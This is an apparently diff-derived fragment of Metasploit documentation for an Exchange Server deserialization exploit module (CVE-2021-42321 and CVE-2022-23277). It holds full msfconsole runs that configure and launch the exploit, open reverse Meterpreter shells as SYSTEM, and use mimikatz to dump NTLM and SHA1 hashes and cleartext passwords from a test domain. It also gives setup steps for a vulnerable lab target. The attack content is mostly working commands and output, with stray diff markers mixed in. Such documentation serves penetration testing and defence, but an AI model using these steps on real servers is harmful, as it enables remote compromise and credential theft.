[*] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: 7hftmkuo) Redirecting stageless connection from /LLPgD_mj7kz9ZPxmn24Q9Qv80ANZ8PU38jaMQ3JCPiwWGPz3Gm6fNlGNzXZ9e_8y5xxnpC6a-JVHNcPmhyMpFnMCwvLNQeZRvnB9 with UA 'Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1'
|
||||
[!] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: 7hftmkuo) Without a database connected that payload UUID tracking will not work!
|
||||
[*] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: 7hftmkuo) Attaching orphaned/stageless session...
|
||||
[!] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: 7hftmkuo) Without a database connected that payload UUID tracking will not work!
|
||||
[*] Meterpreter session 2 opened (172.31.171.42:4444 -> 127.0.0.1 ) at 2022-02-14 18:02:25 -0600
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > load kiwi
|
||||
Loading extension kiwi...
|
||||
.#####. mimikatz 2.2.0 20191125 (x64/windows)
|
||||
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
|
||||
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
|
||||
## \ / ## > http://blog.gentilkiwi.com/mimikatz
|
||||
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
|
||||
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
|
||||
|
||||
Success.
|
||||
meterpreter > creds_all
|
||||
[+] Running as SYSTEM
|
||||
[*] Retrieving all credentials
|
||||
msv credentials
|
||||
===============
|
||||
|
||||
Username Domain NTLM SHA1 DPAPI
|
||||
-------- ------ ---- ---- -----
|
||||
Administrator TESTINGDOMAIN 373b765d01cd8aefe 220cface685ef2b97 c5c54fb2b86a1a4a85
|
||||
a318e3843980454 a998f965b0d9b996b e6b23ad360777e
|
||||
55d560
|
||||
DC1$ TESTINGDOMAIN bc7047881521a2844 1489def7ac6e5dd8e
|
||||
573cd9b08cb33ed ebf9d421549375da8
|
||||
9bef2d
|
||||
HealthMailbox25a TESTINGDOMAIN c9cd8580d9a519f7d f5a89bd625da37ca3 c0f96c3c13864ffe1f
|
||||
d078 3fe3b47e4e55f21 e9de89be8bba67e1b 6b62f2d0811bb1
|
||||
7d509b
|
||||
|
||||
ssp credentials
|
||||
===============
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
HealthMailbox25ad0782aada405 (null) 5sYVnq4G=D1UacRrD(I-.hf&wQRe4DN_xn8I=G#JrD?B)-MWU$f
|
||||
eaaa7287c8c514daf@testingdom >)Ojhaah_2a]9cuP)&YR_)71BnJ=@Tdhw8C^{RJ[(^Z;Z-X}F9o
|
||||
ain.internal OeVGtzP=qPZ@9xT-uR)niraV42
|
||||
|
||||
wdigest credentials
|
||||
===================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
Administrator TESTINGDOMAIN (null)
|
||||
DC1$ TESTINGDOMAIN (null)
|
||||
HealthMailbox25ad078 TESTINGDOMAIN (null)
|
||||
|
||||
kerberos credentials
|
||||
====================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
Administrator TESTINGDOMAIN.INTERNAL (null)
|
||||
DC1$ testingdomain.internal 4d ce f7 a8 f4 e9 57 3e f2 7d fa 08 fd 44 7
|
||||
2 d1 9d d2 7b ce 0c fd 86 cb 7c 6c a8 26 50
|
||||
ea 21 c6 f2 b1 63 a8 67 ab 2f ac d8 0e b0
|
||||
33 02 b1 6c f6 4f f6 3d 9d f1 55 e3 ee ef 0
|
||||
8 d3 a9 96 e0 e4 d2 a2 1f 50 b0 8d 70 00 e6
|
||||
88 1b a4 63 27 bf ed 60 3e 57 12 b2 25 ec
|
||||
b7 52 4f 01 e7 3c 93 0a ea 48 e5 2c 6d 18 7
|
||||
3 80 c3 5f 2e cd 81 93 4e 81 52 32 e2 49 8e
|
||||
61 63 ac 5e 72 59 f3 40 d5 be 2a cd ba a2
|
||||
e4 f7 08 a6 af 1c 10 4f 79 4c 62 60 84 ad 6
|
||||
6 9f 29 ae 03 2c b0 83 44 be 4b e8 64 1d 29
|
||||
9b 8f 77 2c 92 5c 80 ca 93 d6 7c fe 1f 6b
|
||||
f6 48 52 22 62 14 ba ea 4b 7a 2b 69 98 60 4
|
||||
6 43 8e 1f 22 87 a8 57 35 06 9e 6e 83 f1 9e
|
||||
25 01 34 55 eb 93 a8 f9 65 ab 56 9e 7b b8
|
||||
83 86 63 b4 e2 0a e9 a7 cb a0 34 89 35 72 a
|
||||
a 3b f2 df ea c1 f6 77 a6 bb cb
|
||||
HealthMailbox25ad078 TESTINGDOMAIN.INTERNAL (null)
|
||||
dc1$ TESTINGDOMAIN.INTERNAL (null)
|
||||
|
||||
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
[*] 172.31.160.218 - Meterpreter session 2 closed. Reason: User exit
|
||||
```
|
||||
#### Target 2 - PowerShell Stager
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
|
||||
[*] Using configured payload cmd/windows/powershell_reverse_tcp
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set RHOST 172.31.160.218
|
||||
RHOST => 172.31.160.218
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set LHOST 172.31.171.42
|
||||
LHOST => 172.31.171.42
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpUsername administrator
|
||||
HttpUsername => administrator
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set HttpPassword thePassword123!
|
||||
HttpPassword => thePassword123!
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
HttpPassword thePassword123! yes The password to use to authenticate to the Ex
|
||||
change server
|
||||
HttpUsername administrator yes The username to log into the Exchange server
|
||||
as
|
||||
Proxies no A proxy chain of format type:host:port[,type:
|
||||
host:port][...]
|
||||
RHOSTS 172.31.160.218 yes The target host(s), see https://github.com/ra
|
||||
pid7/metasploit-framework/wiki/Using-Metasplo
|
||||
it
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen
|
||||
on. This must be an address on the local mac
|
||||
hine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is
|
||||
randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is r
|
||||
andom)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/reverse_https):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proces
|
||||
s, none)
|
||||
LHOST 172.31.171.42 yes The local listener hostname
|
||||
LPORT 4444 yes The local listener port
|
||||
LURI no The HTTP Path
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
2 PowerShell Stager
|
||||
|
||||
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > exploit
|
||||
|
||||
[*] Started HTTPS reverse handler on https://172.31.171.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Exchange Server 15.2.986.5 is a vulnerable build.
|
||||
[*] Getting the user's inbox folder's ID and ChangeKey ID...
|
||||
[+] ChangeKey value for Inbox folder is AQAAABYAAAD+NAPdfxHOQog5PRD09yZZAAADvk7x
|
||||
[+] ID value for Inbox folder is AQMkADk4Nzg3MTk4LTdmMWItNDIwOC1hNjYAZC1hMDU4ZWYyMGEyNDYALgAAA63xDZKmFz1AgDziIaoT/0sBAP40A91/Ec5CiDk9EPT3JlkAAAIBDAAAAA==
|
||||
[*] Deleting the user configuration object associated with Inbox folder...
|
||||
[+] Successfully deleted the user configuration object associated with the Inbox folder!
|
||||
[*] Creating the malicious user configuration object on the Inbox folder!
|
||||
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
|
||||
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
|
||||
[!] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: urrkmn2k) Without a database connected that payload UUID tracking will not work!
|
||||
[*] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: urrkmn2k) Staging x64 payload (201308 bytes) ...
|
||||
[!] https://172.31.171.42:4444 handling request from 172.31.160.218; (UUID: urrkmn2k) Without a database connected that payload UUID tracking will not work!
|
||||
[*] Meterpreter session 3 opened (172.31.171.42:4444 -> 127.0.0.1 ) at 2022-02-14 18:03:03 -0600
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > load kiwi
|
||||
Loading extension kiwi...
|
||||
.#####. mimikatz 2.2.0 20191125 (x64/windows)
|
||||
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
|
||||
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
|
||||
## \ / ## > http://blog.gentilkiwi.com/mimikatz
|
||||
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
|
||||
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
|
||||
|
||||
Success.
|
||||
meterpreter > creds_all
|
||||
[+] Running as SYSTEM
|
||||
[*] Retrieving all credentials
|
||||
msv credentials
|
||||
===============
|
||||
|
||||
Username Domain NTLM SHA1 DPAPI
|
||||
-------- ------ ---- ---- -----
|
||||
Administrator TESTINGDOMAIN 373b765d01cd8aefe 220cface685ef2b97 c5c54fb2b86a1a4a85
|
||||
a318e3843980454 a998f965b0d9b996b e6b23ad360777e
|
||||
55d560
|
||||
DC1$ TESTINGDOMAIN bc7047881521a2844 1489def7ac6e5dd8e
|
||||
573cd9b08cb33ed ebf9d421549375da8
|
||||
9bef2d
|
||||
HealthMailbox25a TESTINGDOMAIN c9cd8580d9a519f7d f5a89bd625da37ca3 c0f96c3c13864ffe1f
|
||||
d078 3fe3b47e4e55f21 e9de89be8bba67e1b 6b62f2d0811bb1
|
||||
7d509b
|
||||
|
||||
ssp credentials
|
||||
===============
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
HealthMailbox25ad0782aada405 (null) 5sYVnq4G=D1UacRrD(I-.hf&wQRe4DN_xn8I=G#JrD?B)-MWU$f
|
||||
eaaa7287c8c514daf@testingdom >)Ojhaah_2a]9cuP)&YR_)71BnJ=@Tdhw8C^{RJ[(^Z;Z-X}F9o
|
||||
ain.internal OeVGtzP=qPZ@9xT-uR)niraV42
|
||||
|
||||
wdigest credentials
|
||||
===================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
Administrator TESTINGDOMAIN (null)
|
||||
DC1$ TESTINGDOMAIN (null)
|
||||
HealthMailbox25ad078 TESTINGDOMAIN (null)
|
||||
|
||||
kerberos credentials
|
||||
====================
|
||||
|
||||
Username Domain Password
|
||||
-------- ------ --------
|
||||
(null) (null) (null)
|
||||
Administrator TESTINGDOMAIN.INTERNAL (null)
|
||||
DC1$ testingdomain.internal 4d ce f7 a8 f4 e9 57 3e f2 7d fa 08 fd 44 7
|
||||
2 d1 9d d2 7b ce 0c fd 86 cb 7c 6c a8 26 50
|
||||
ea 21 c6 f2 b1 63 a8 67 ab 2f ac d8 0e b0
|
||||
33 02 b1 6c f6 4f f6 3d 9d f1 55 e3 ee ef 0
|
||||
8 d3 a9 96 e0 e4 d2 a2 1f 50 b0 8d 70 00 e6
|
||||
88 1b a4 63 27 bf ed 60 3e 57 12 b2 25 ec
|
||||
b7 52 4f 01 e7 3c 93 0a ea 48 e5 2c 6d 18 7
|
||||
3 80 c3 5f 2e cd 81 93 4e 81 52 32 e2 49 8e
|
||||
61 63 ac 5e 72 59 f3 40 d5 be 2a cd ba a2
|
||||
e4 f7 08 a6 af 1c 10 4f 79 4c 62 60 84 ad 6
|
||||
6 9f 29 ae 03 2c b0 83 44 be 4b e8 64 1d 29
|
||||
9b 8f 77 2c 92 5c 80 ca 93 d6 7c fe 1f 6b
|
||||
f6 48 52 22 62 14 ba ea 4b 7a 2b 69 98 60 4
|
||||
6 43 8e 1f 22 87 a8 57 35 06 9e 6e 83 f1 9e
|
||||
25 01 34 55 eb 93 a8 f9 65 ab 56 9e 7b b8
|
||||
83 86 63 b4 e2 0a e9 a7 cb a0 34 89 35 72 a
|
||||
a 3b f2 df ea c1 f6 77 a6 bb cb
|
||||
HealthMailbox25ad078 TESTINGDOMAIN.INTERNAL (null)
|
||||
dc1$ TESTINGDOMAIN.INTERNAL (null)
|
||||
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
+317
@@ -0,0 +1,317 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
This module exploits vulnerabilities within the ChainedSerializationBinder as used in Exchange Server 2019 CU10,
|
||||
Exchange Server 2019 CU11, Exchange Server 2016 CU21, and Exchange Server 2016 CU22 all prior to Mar22SU.
|
||||
|
||||
Note that authentication is required to exploit these vulnerabilities.
|
||||
|
||||
By leveraging this vulnerability, attackers can bypass the `ChainedSerializationBinder`'s deserialization deny list and
|
||||
execute code as `NT AUTHORITY\SYSTEM`.
|
||||
|
||||
#### CVE-2021-42321 (Deny List Typo)
|
||||
This specific flaw exists due to the fact that the deny list for the ChainedSerializationBinder had a typo whereby an
|
||||
entry was incorrectly defined as `System.Security.ClaimsPrincipal` instead of the proper value of
|
||||
`System.Security.Claims.ClaimsPrincipal`.
|
||||
|
||||
Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019, and Exchange Server 2016 CU22 SU0 on Windows Server
|
||||
2016.
|
||||
|
||||
#### CVE-2022-23277 (Type Spoof Bypass)
|
||||
Due to `ChainedSerializationBinder.BindToType(string, string)` and `ObjectReader.FastBindToType(string, string)` using
|
||||
different algorithms, it is possible to bypass validation checks and load a malicious object.
|
||||
|
||||
Tested against Exchange Server 2019 CU11 SU3, build 15.2.986.15 via [KB5008631].
|
||||
### Setup
|
||||
|
||||
1. Set up a version of Windows Server 2019.
|
||||
2. Download Exchange Server 2019 CU11 SU0 from https://download.microsoft.com/download/5/3/e/53e75dbd-ca33-496a-bd23-1d861feaa02a/ExchangeServer2019-x64-CU11.ISO
|
||||
3. Follow the guide at https://petri.com/how-to-install-active-directory-in-windows-server-2019-server-manager to turn
|
||||
the server into an AD server.
|
||||
4. Mount the ISO and run `Setup.exe`. It should prompt you install .NET Framework, Visual Studio C++ Redistributables,
|
||||
and Unified Communications Managed API. Install these and then reboot.
|
||||
5. Follow https://www.nucleustechnologies.com/blog/step-by-step-guide-to-install-exchange-server-2019-part-1/ and
|
||||
install the required features.
|
||||
6. Keep running `Setup.exe` and installing extra dependencies as needed as per the links.
|
||||
7. When you do get all dependencies installed, Exchange should give a button called `Install` which should no longer be
|
||||
greyed out. Press this to install and accept any warnings that appear.
|
||||
8. Go to https://*ip here*/owa/ and make sure you can see the Exchange Outlook login page.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Follow [Setup](#setup) to set up a vulnerable target.
|
||||
2. `msfconsole`
|
||||
3. `set RHOST <target IP address>`
|
||||
4. `set LHOST <IP for target to connect back to>`
|
||||
5. `set HttpUsername <username of OWA user to log in as>`
|
||||
6. `set HttpPassword <password for this OWA user>`
|
||||
7. Optional: `set DOMAIN <domain of OWA user>`
|
||||
8. Optional: `set VHOST <vhost of target>`
|
||||
9. `exploit`
|
||||
10. You should get a shell on the target as `NT AUTHORITY\SYSTEM` if it is vulnerable.
|
||||
|
||||
## Targets
|
||||
|
||||
### 0
|
||||
|
||||
Windows Command
|
||||
|
||||
### 1
|
||||
|
||||
Windows Dropper
|
||||
|
||||
### 2
|
||||
|
||||
PowerShell Stager
|
||||
|
||||
## Options
|
||||
|
||||
### HttpUsername
|
||||
|
||||
Set this to the OWA username. This can also be set to a valid domain username that has permissions to log into Exchange.
|
||||
|
||||
### HttpPassword
|
||||
|
||||
Set this to the OWA password. This can also be set to the password for a domain user that has permissions to log into Exchange.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Exchange Server 2016 CU22 (Build 15.1.2375.7) on Windows Server 2016 x64 (CVE-2021-42321)
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/exchange_chainedserializationbinder_rce
|
||||
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle
|
||||
HttpUsername => aliddle
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1
|
||||
HttpPassword => Password1
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN EXCHG
|
||||
DOMAIN => EXCHG
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.42
|
||||
RHOSTS => 192.168.159.42
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/exchange_chainedserializationbinder_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
HttpPassword Password1 yes The password to use to authenticate to the Exchange server
|
||||
HttpUsername aliddle yes The username to log into the Exchange server as
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.159.42 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 192.168.250.134 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows Command
|
||||
|
||||
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.250.134:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Target is an Exchange Server!
|
||||
[+] The target appears to be vulnerable. Exchange Server 15.1.2375.7 is vulnerable to CVE-2021-42321
|
||||
[*] Getting the user's inbox folder's ID and ChangeKey ID...
|
||||
[+] ChangeKey value for Inbox folder is AQAAABYAAAD9j/m9iNuTRpA5mrD5EV0AAAAACmbL
|
||||
[+] ID value for Inbox folder is AQMkADU1ADBhYjYzMi02MTQ3LTRlOTEtYjU1ADAtN2M0ZDBhYjYzODVlAC4AAAMhko4gUQEoR6mlLklj/zwrAQD9j/m9iNuTRpA5mrD5EV0AAAMBDAAAAA==
|
||||
[*] Deleting the user configuration object associated with Inbox folder...
|
||||
[!] Was not able to successfully delete the existing user configuration on the Inbox folder!
|
||||
[!] Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!
|
||||
[*] Creating the malicious user configuration object on the Inbox folder!
|
||||
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
|
||||
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
|
||||
[*] Sending stage (175686 bytes) to 192.168.250.237
|
||||
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.237:60610) at 2022-08-16 15:56:01 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-BPID95ACQ7E
|
||||
OS : Windows 2016+ (10.0 Build 14393).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : EXCHG
|
||||
Logged On Users : 4
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Exchange Server 2016 CU22 Jan22SU (Build 15.1.2375.18) on Windows Server 2016 x64 (CVE-2022-23277)
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/exchange_chainedserializationbinder_rce
|
||||
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle
|
||||
HttpUsername => aliddle
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1
|
||||
HttpPassword => Password1
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN EXCHG
|
||||
DOMAIN => EXCHG
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.42
|
||||
RHOSTS => 192.168.159.42
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/exchange_chainedserializationbinder_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
HttpPassword Password1 yes The password to use to authenticate to the Exchange server
|
||||
HttpUsername aliddle yes The username to log into the Exchange server as
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.159.42 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 192.168.250.134 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows Command
|
||||
|
||||
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.250.134:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Target is an Exchange Server!
|
||||
[+] The target appears to be vulnerable. Exchange Server 15.1.2375.18 is vulnerable to CVE-2022-23277
|
||||
[*] Getting the user's inbox folder's ID and ChangeKey ID...
|
||||
[+] ChangeKey value for Inbox folder is AQAAABYAAAD9j/m9iNuTRpA5mrD5EV0AAAB3/PSE
|
||||
[+] ID value for Inbox folder is AQMkADU1ADBhYjYzMi02MTQ3LTRlOTEtYjU1ADAtN2M0ZDBhYjYzODVlAC4AAAMhko4gUQEoR6mlLklj/zwrAQD9j/m9iNuTRpA5mrD5EV0AAAMBDAAAAA==
|
||||
[*] Deleting the user configuration object associated with Inbox folder...
|
||||
[+] Successfully deleted the user configuration object associated with the Inbox folder!
|
||||
[*] Creating the malicious user configuration object on the Inbox folder!
|
||||
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
|
||||
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
|
||||
[*] Sending stage (175686 bytes) to 192.168.250.237
|
||||
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.237:59440) at 2022-08-16 15:47:55 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-BPID95ACQ7E
|
||||
OS : Windows 2016+ (10.0 Build 14393).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : EXCHG
|
||||
Logged On Users : 7
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Exchange Server 2019 CU11 Jan22SU (Build 15.2.986.15) on Windows Server 2019 x64 (CVE-2022-23277)
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/exchange_chainedserializationbinder_rce
|
||||
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.11
|
||||
RHOSTS => 192.168.159.11
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle
|
||||
HttpUsername => aliddle
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1!
|
||||
HttpPassword => Password1!
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN MSFLAB.LOCAL
|
||||
DOMAIN => MSFLAB.LOCAL
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/exchange_chainedserializationbinder_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
HttpPassword Password1! yes The password to use to authenticate to the Exchange server
|
||||
HttpUsername aliddle yes The username to log into the Exchange server as
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.159.11 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 192.168.250.134 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows Command
|
||||
|
||||
|
||||
msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.250.134:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Target is an Exchange Server!
|
||||
[+] The target appears to be vulnerable. Exchange Server 15.2.986.15 is vulnerable to CVE-2022-23277
|
||||
[*] Getting the user's inbox folder's ID and ChangeKey ID...
|
||||
[+] ChangeKey value for Inbox folder is AQAAABYAAACLmD9luiUIToCqtjHJMHTFAAADDlsC
|
||||
[+] ID value for Inbox folder is AQMkAGMzMmEwZDQyLTJmMmYtNDdlNi04Nzg0LTNiMmNmMTkwZmNjAGIALgAAAwy2SlsLo7NNtRvmAZGoLDABAIuYP2W6JQhOgKq2MckwdMUAAAIBDAAAAA==
|
||||
[*] Deleting the user configuration object associated with Inbox folder...
|
||||
[+] Successfully deleted the user configuration object associated with the Inbox folder!
|
||||
[*] Creating the malicious user configuration object on the Inbox folder!
|
||||
[+] Successfully created the malicious user configuration object and associated with the Inbox folder!
|
||||
[*] Attempting to deserialize the user configuration object using a GetClientAccessToken request...
|
||||
[*] Sending stage (175686 bytes) to 192.168.250.237
|
||||
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.237:63854) at 2022-08-16 15:49:45 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : EXCHANGE2019
|
||||
OS : Windows 2016+ (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : MSFLAB
|
||||
Logged On Users : 9
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
[KB5008631]: https://support.microsoft.com/en-gb/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-january-11-2022-kb5008631-2ee4d1f3-8341-4a4d-86be-4b73bc944f1b
|
||||
+70
